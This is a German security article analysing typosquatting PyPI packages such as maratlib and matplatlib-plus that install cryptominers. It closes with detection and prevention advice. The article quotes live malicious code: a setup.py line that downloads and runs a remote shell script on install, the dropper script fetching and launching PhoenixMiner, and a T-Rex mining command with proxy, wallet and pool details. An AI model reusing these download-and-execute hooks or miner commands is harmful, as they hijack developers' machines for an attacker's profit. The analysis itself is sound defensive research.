Gefälschte Open-Source-Pakete mit Kryptomining-Payload Typosquatting-Angriffe auf Entwickler

Von Andrey Polkovnychenko & Ilja Khivrich * |

Anbieter zum Thema

Typosquatting zielt oft auf Tippfehler in URLs ab, doch auch auf Developer-Plattformen machen sich Angreifer diese Technik zunutze. Vdoo hat einen solchen Tippfehler-Angriff untersucht, der ein gefälschtes PyPI-Paket verteilen sollte.

Mit dem Ziel, Kryptowährungen zu schürfen, starten Cyberkriminelle aktuell Typosquatting-Angriffe auf Entwicklerinnen und Entwickler.
Mit dem Ziel, Kryptowährungen zu schürfen, starten Cyberkriminelle aktuell Typosquatting-Angriffe auf Entwicklerinnen und Entwickler.
(Bild: xresch / Pixabay)

Moderne Development-Prozesse sind komplex und das Vertrauen in große, von der Community gepflegte Code-Basen groß. Dies birgt für Entwickler die Gefahr, versehentlich Schadcode in ein Projekt einzubinden. Im schlimmsten Fall könnte ein Angreifer das betreffende Programm oder Gerät komplett übernehmen.

Ein potenzieller Angriffsvektor besteht darin, bösartigen oder anfälligen Code direkt in Open-Source-Projekte einzuschleusen. Alternativ versuchen Angreifer per Typosquatting, Schadcode in Software-Repositories wie PyPI und npm einzuschleusen. Einen solchen Tippfehler-Angriff hat Sonatype kürzlich entdeckt.

Dabei wurden einige PyPI-Pakete als Schadpakete erkannt. Sie enthielten eine Kryptomining-Payload, die Währungen von Ethereum oder Ubiq für den Angreifer schürfen. Shachar Menashe, VP Security bei Vdoo, und Itay Vaknin, Threat Intelligence Researcher, haben den Angriff genauer untersucht.

Wie der Angriff abläuft

Der Ablauf des Typosquatting-Angriffs der veröffentlichten Schadpakete lässt sich folgendermaßen zusammenfassen:

  • 1. Der Angreifer hat sechs Schadpakete in PyPI veröffentlicht
      a. Maratlib, maratlib1, mplatlib, matplatlib-plus – Typosquatting-Pakete als Anspielung auf die beliebten matplotlib oder mplotlab
      b. Lernlib, mllearnlib – Typosquatting-Pakete als Anspielung auf learnlib und mllearn
      c. Einige der oben genannten Pakete waren lediglich Proxy-Pakete, die ein tatsächliches Schadpaket als Teil ihrer Abhängigkeiten enthalten
  • 2. Die Schadpakete laden ein Payload-Shell-Skript herunter und führen es aus
  • 3. Das Payload-Shell-Skript lädt einen Krypto-Miner eines Dritten herunter und führt ihn aus, entweder T-Rex für das Ethereum-Mining oder ubqminer / PhoenixMiner für das Mining von Ubiq. Die Gelder werden in verschiedene Mining-Pools transferiert, wie z. B.:
      a. Kryptex 0x510aec7f266557b7de753231820571b13eb31b57
      b. Kryptex 0xbaef4a87e8a92ad5911bc5b0a2a02ed9867c0124
      c. daggerhashimoto.usa-east.nicehash.com
      d. daggerhashimoto.eu-north.nicehash.com

Die Angriffskette im Überblick.
Die Angriffskette im Überblick.
(Bild: Vdoo)

Hier der genaue Ablauf noch einmal in Diagrammform.

Ein kurzer Überblick über Typosquatting

Typosquatting ist die Praxis, einen populären Namen mit einem kleinen typographischen Fehler zu erwerben (oder zu „squatten“). Zum Beispiel einen Domainnamen wie „gogle.com“ (anstelle des legitimen „google.com“) zu kaufen. Dahinter steckt die Erwartung, dass Benutzer gelegentlich Tippfehler machen und so auf die illegitime Domain geführt werden. Diese kann anschließend für Phishing und Code-Injection-Angriffe verwendet werden.

Diese Praxis lässt sich auf unterschiedliche Ressourcen übertragen, wie z. B. Websites, die Namen von Softwarepaketen und sogar Namen von ausführbaren Dateien. In unserem Fall wurde der Typosquatting-Angriff gegen PyPI ausgeführt. Dabei tappten alle Entwickler in die Falle, die den Paketnamen „matplotlib“ bei der Verwendung von pip install falsch geschrieben hatten.

Die Python-Payload – Naives Typosquatting vs. Trojaner-Paket

Bei diesem Angriff war die Python-Payload extrem kurz und simpel (Auszug aus maratlib-Paket, Version 0.6):

# Codierung: UTF-8
import sys
...
from setuptools import setup
print(__import__("subprocess").getoutput("cd /tmp && wget https://github.com/nedog123/files/raw/main/aza.sh -O gay.sh && chmod 777 gay.sh && bash gay.sh"))
setup(name="maratlib",
   version="0.6",
   description=l111_cringe_ (u"ࠧࡤࡷࡰࠫࠃ"), # Obfuscated string
   packages=[],
   author_email=l111_cringe_ (u"ࠨࡤࡃ࡫ࡲࡧࡩ࡭࠰ࡦࡳࡲ࠭ࠄ"), # Obfuscated string
   zip_safe=False)

Hierbei handelt es sich um die gesamte Python-Payload. Es ist grundlegend wichtig, sie mittels automatisierter Methoden zu erkennen, da ein „download and execute“-Befehl (insbesondere bei Verwendung der Shell über einen Subprozess) höchst bösartig ist.

Einige der früheren Supply-Chain-Angriffe waren deutlich subtiler und führten eine „Trojaner-Bibliothek“ ein – d. h. eine Bibliothek, die eigentlich nützlich war, aber ein kleines Stück versteckten Malware-Code in sich trug. Bei diesem vorangegangenen Angriff stellte ein bösartiges npm-Paket beispielsweise farbenfrohe Logging-Funktionen für die Konsole bereit, zusammen mit einem versteckten Credential-Stealer.

Dieses npm-Paket erzielte 120.000 monatliche Downloads und wurde täglich auf Tausenden von Websites ausgeführt; im Gegensatz zu diesem Angriff („maratlib“), der insgesamt weniger als 5000 Downloads erzielte. Ein Trojaner-Paket ist also sehr viel effektiver als ein Typosquatting-Angriff.

matplatlib-plus – eine leichte Abwandlung des obigen Beispiels

Die ursprüngliche, unleserliche Payload.
Die ursprüngliche, unleserliche Payload.
(Bild: Vdoo)

Die matplatlib-plus-Payload unterscheidet sich geringfügig von maratlib, die im Artikel von Sonatype untersucht wurde. Aus einer übergeordneten Sichtweise betrachtet, funktioniert sie ähnlich – indem sie den T-Rex Kryptominer aus seinem GitHub-Repository herunterlädt und ihn ausführt. Aber es gibt auch ein paar Unterschiede.

Diese Version verwendet einen SOCKS5-Proxy, der auf - 23.105.226.116:2016 basiert, um die Payload herunterzuladen und für die gesamte T-Rex-Kommunikation:

./trex -a ethash -o stratum+tcp://daggerhashimoto[.]eu-north[.]nicehash[.]com:3353 -u 37VqQP17yALTSzrH6MkQaLWuj6LfWFk8WL.yandex2 --proxy 23[.]105[.]226[.]116:2016 --fee 0 > frgjdse

Außerdem ist die hier verwendete Verschleierungstechnik etwas ausgefeilter, und alle arithmetischen Operationen werden durch Lambdas ersetzt.

Der Code prüft augenscheinlich regelmäßig, ob er mit dem Internet verbunden ist.
Der Code prüft augenscheinlich regelmäßig, ob er mit dem Internet verbunden ist.
(Bild: Vdoo)

Der Code stellt außerdem regelmäßig eine Verbindung zu einer dieser beliebten URLs her, wahrscheinlich um die Netzwerkkonnektivität zu überprüfen.

Das Shell-Skript „dropper“

Wie bereits demonstriert, lädt die Python-Payload ein Dropper-Skript herunter und führt es aus. Bei dem Dropper handelt es sich konkret um ein Shell-Skript namens aza.sh oder aza2.sh, was extrem naiv ist und schon bei einem flüchtigen Blick Verdacht erregt:

wget https://github.com/nanopool/phoenix-miner/releases/download/4.2c/PhoenixMiner_4.2c_Linux.tar.gz
tar xzf PhoenixMiner_4.2c_Linux.tar.gz
cd PhoenixMiner_4.2c_Linux
chmod +x PhoenixMiner && ./PhoenixMiner -coin ubq -wal 0x510aec7f266557b7de753231820571b13eb31b57/v2de4b8ab4 -pool ubq.kryptex.network:7000 ...

Wie wir sehen, lädt der Dropper einfach einen Krypto-Miner herunter, in diesem Fall PhoenixMiner, führt ihn aus und sendet die Ergebnisse an eine hart-codierte Kryptex-Wallet.

Jetzt Newsletter abonnieren

Täglich die wichtigsten Infos zur IT-Sicherheit

Mit Klick auf „Newsletter abonnieren“ erkläre ich mich mit der Verarbeitung und Nutzung meiner Daten gemäß Einwilligungserklärung (bitte aufklappen für Details) einverstanden und akzeptiere die Nutzungsbedingungen. Weitere Informationen finde ich in unserer Datenschutzerklärung.

Aufklappen für Details zu Ihrer Einwilligung

Bei der Verschleierung hat man sich nicht viel Mühe gegeben, und auch dieses Shell-Skript lässt sich leicht erkennen – allein schon weil ein bekanntes Krypto-Miner-Tool verwendet wurde.

Die Obfuskation des Pakets überlisten

Ein Großteil des eingeschleusten Codes soll der Verwirrung dienen.
Ein Großteil des eingeschleusten Codes soll der Verwirrung dienen.
(Bild: Vdoo)

Die Angreifer benutzen Verschleierungstechnologien, um die bösartige Logik vor manueller Analyse und automatisierten statischen Analyseprogrammen zu schützen. Im ursprünglichen Artikel wurde die Verschleierung übersprungen, indem eine ältere Version des bösartigen „maratlib“-Pakets gefunden wurde. Aber wie wir hier zeigen werden, ist der Umgang mit der Obfuskation der neueren Versionen (z.B. maratlib 1.0) ebenfalls ziemlich simpel.

Der Code mag auf den ersten Blick stark verschleiert erscheinen - die ersten 400 Zeilen des Codes sind Kauderwelsch, darunter base64-Strings und arithmetische Operationen – aber eine genauere Analyse zeigt, dass es sich bei den meisten Variablen und Operationen um „Müllcode“ handelt, der lediglich dazu dient, die manuelle Untersuchung in die Irre zu führen und nicht tatsächlich in der Logik der Malware verwendet wird.

Der verschleierte Malware-Code.
Der verschleierte Malware-Code.
(Bild: Vdoo)

Der Rest des Codes ist viel klarer, aber immer noch schwierig zu lesen. Wie in dieser Abbildung zu sehen ist, stützen die Angreifer die Obfuskation hauptsächlich auf die Verschlüsselung von Strings. Die Funktion l1ll1ll11_lol_ nimmt eine verschlüsselte Zeichenkette als Parameter und gibt das Original zurück.

Die Obfuscation wird mit dem print()-Befehl im Interpreter ausgedruckt.
Die Obfuscation wird mit dem print()-Befehl im Interpreter ausgedruckt.
(Bild: Vdoo)

Die Verschleierung lässt sich leicht rückgängig machen, indem der Output der Funktion im Interpreter ausgedruckt wird. Dies funktioniert z. B., indem man nach allen Aufrufen der Obfuskation-Funktion sucht und diese mit print(…)in einer sicheren Umgebung (z. B. einer virtuellen Maschine) erneut ausführt.

Der eigentliche Schadcode ist demaskiert.
Der eigentliche Schadcode ist demaskiert.
(Bild: Vdoo)

Nachdem wir diese Aufgabe durch ein geeignetes Skript automatisiert haben, erhalten wir den eigentlichen Schadcode, der in diesem Fall ein Shell-Skript seo.sh: herunterlädt und ausführt.

Schlussfolgerungen zu Typosquatting – Erkennung & Prävention

Automatisches Erkennen verschleierter Pakete

In unserem Fall hat die Vdoo Product Security-Plattform die Pakete aufgrund der verwendeten Obfuskation als potenziell bösartig identifiziert. Insbesondere erkennt man, dass eine eval-basierte Obfuskation in maratlib und maratlib1 verwendet wurde:

Die Verwendung von eval in Python-Skripten (insbesondere solchen, die über PyPI veröffentlicht werden) erregt sofort Verdacht:

In Verbindung mit den geeigneten Filtern zur Erkennung von False Positives ist die Verwendung von eval ein starker Indikator für Schadaktivitäten.

Typosquatting-Angriffe automatisch erkennen

Einige der Eigenschaften, die diese Art von Angriffen aus Sicht des Angreifers erleichtern, lassen sich tatsächlich gegen den Angreifer richten. Das anvisierte Paket muss unbedingt gut sichtbar sein: Es muss in einem weit verbreiteten Repository verfügbar und ausreichend weit verbreitet sein.

Der ausgewählte falsch geschriebene Name sollte nahe genug am Namen des anvisierten Pakets liegen, was sich mit bekannten Metriken (Levenshtein oder Editierdistanz (edit distance)) leicht quantifizieren lässt. So kann man selbst aus flachen Metadaten wie Paketnamen und Nutzungsstatistiken leicht Kandidaten für Typosquatting ausfindig machen, indem man Pakete auswählt, die eine kurze Editierdistanz zu einem anderen populären Paket haben.

Verwendet man dies als Filter erster Ordnung, kann man anschließend den Quellcode der verdächtigen Pakete untersuchen (entweder manuell oder automatisch) und nach weiteren Indikatoren für bösartiges Verhalten suchen, wie z. B. Netzwerkschnittstellen, die Verwendung von kryptografischen APIs oder andere bösartige Indikatoren.

Was Entwickler tun können, um Typosquatting und Dependency Confusion zu vermeiden

Entwickler können die Dinge selbst in die Hand nehmen, um diese Art von Angriffen zu verhindern:

  • 1. Typosquatting verhindern: Überprüfen Sie alle Ihre Python-Abhängigkeiten, indem Sie alle requirements.txt-Dateien kontrollieren und sämtliche Abhängigkeiten an ein Skript wie pypi-scan übergeben, das vorhandene Typosquatting-Kandidaten identifizieren kann, die sich derzeit auf PyPI befinden. Stellen Sie sicher, dass keiner dieser Kandidaten in Ihren verschiedenen Codebasen als Abhängigkeit gekennzeichnet ist.
  • 2. Um Dependency Confusion zu vermeiden, stellen wir ein Open-Source-Tool namens piproxy zur Verfügung, das bei der Verwendung von pip Grenzen für die Paketinstallation erzwingen kann (ein Paket wird nur dann aus dem öffentlichen PyPI-Repository installiert, wenn es auf keinem privaten Repository identifiziert wurde). Weitere Informationen finden Sie in unserem Vdoo-Blog.

Maintainer-Aktionen gegen Typosquatting-Angriffe auf beliebte Paket-Repositories

Einige der Paketmanager-Betreuer haben sich entschlossen, einen aktiveren Ansatz zu verfolgen, um solche Angriffe zu verhindern. Auf PyPI zum Beispiel gibt es neben dem Löschen bösartiger Pakete einige Benutzer, die bewusst "Typosquatting-anfällige" Namen reservieren, so dass sie nicht anderweitig (böswillig) verwendet werden können (zum Beispiel hat der Benutzer htdge dies für einige Pakete getan).

Die npm-Verantwortliche werden selbst aktiv und haben Tausende Pakete unter der Beschreibung „Security holding package“ reserviert

(ID:47539540)